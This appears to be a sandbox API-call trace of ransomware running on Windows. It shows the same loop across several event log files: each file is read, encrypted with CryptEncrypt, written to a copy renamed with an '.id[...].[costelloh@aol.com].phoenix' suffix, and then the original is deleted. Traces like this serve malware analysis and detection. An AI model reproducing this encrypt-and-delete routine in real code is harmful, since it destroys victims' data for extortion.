	[0221.200] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0221.200] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.200] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.200] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0221.200] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0221.200] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0221.200] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.265] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0221.266] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0221.268] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0221.268] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0221.268] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0221.268] CryptDestroyKey (hKey=0x151580) returned 1
	[0221.268] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0221.268] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0221.268] CloseHandle (hObject=0x2f0) returned 1
	[0221.268] CloseHandle (hObject=0x2c0) returned 1
	[0221.272] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1
	[0221.274] SetEvent (hEvent=0x278) returned 1
	[0221.274] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0221.274] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0221.274] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1052672) returned 1
	[0221.274] CloseHandle (hObject=0x2c0) returned 1
	[0221.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20
	[0221.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.274] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0221.275] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.275] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.275] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0221.275] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0221.275] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0221.275] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x101000, lpOverlapped=0x0) returned 1
	[0221.322] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x101010, dwBufLen=0x101010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x101010) returned 1
	[0221.323] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x101010, lpOverlapped=0x0) returned 1
	[0222.053] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0222.053] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.054] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0222.054] CryptDestroyKey (hKey=0x151600) returned 1
	[0222.054] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0222.054] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0222.054] CloseHandle (hObject=0x2c0) returned 1
	[0222.064] CloseHandle (hObject=0x2f0) returned 1
	[0222.096] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1
	[0222.107] SetEvent (hEvent=0x278) returned 1
	[0222.107] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0222.107] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.107] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0222.107] CloseHandle (hObject=0x2f0) returned 1
	[0222.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20
	[0222.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.107] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.108] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.108] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.108] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.108] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0222.108] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.108] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.252] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0222.252] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0222.254] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0222.254] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.254] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0222.254] CryptDestroyKey (hKey=0x151700) returned 1
	[0222.254] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0222.254] CryptDestroyKey (hKey=0x151280) returned 1
	[0222.254] CloseHandle (hObject=0x2f0) returned 1
	[0222.254] CloseHandle (hObject=0x2c0) returned 1
	[0222.256] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1
	[0222.257] SetEvent (hEvent=0x278) returned 1
	[0222.258] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0222.258] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.258] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0222.258] CloseHandle (hObject=0x2c0) returned 1
	[0222.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20
	[0222.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.258] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.258] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.258] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.258] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.260] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0222.260] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.260] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.278] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0222.278] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0222.280] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0222.280] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.280] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0222.280] CryptDestroyKey (hKey=0x151580) returned 1
	[0222.280] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0222.280] CryptDestroyKey (hKey=0x151080) returned 1
	[0222.280] CloseHandle (hObject=0x2c0) returned 1
	[0222.280] CloseHandle (hObject=0x2f0) returned 1
	[0222.282] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1
	[0222.283] SetEvent (hEvent=0x278) returned 1
	[0222.283] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0222.283] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.295] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0222.295] CloseHandle (hObject=0x2f0) returned 1
	[0222.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20
	[0222.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.295] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.295] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.295] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.295] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.295] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0222.296] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.296] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.324] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0222.324] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0222.326] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0222.326] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.326] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0222.326] CryptDestroyKey (hKey=0x151640) returned 1
	[0222.327] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0222.327] CryptDestroyKey (hKey=0x151100) returned 1
	[0222.327] CloseHandle (hObject=0x2f0) returned 1
	[0222.327] CloseHandle (hObject=0x2c0) returned 1
	[0222.329] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1
	[0222.330] SetEvent (hEvent=0x278) returned 1
	[0222.330] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0222.330] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.330] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0222.330] CloseHandle (hObject=0x2c0) returned 1
	[0222.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20
	[0222.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.331] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.331] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.331] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.331] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.331] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0222.331] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.331] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.352] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0222.352] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0222.360] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0222.360] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
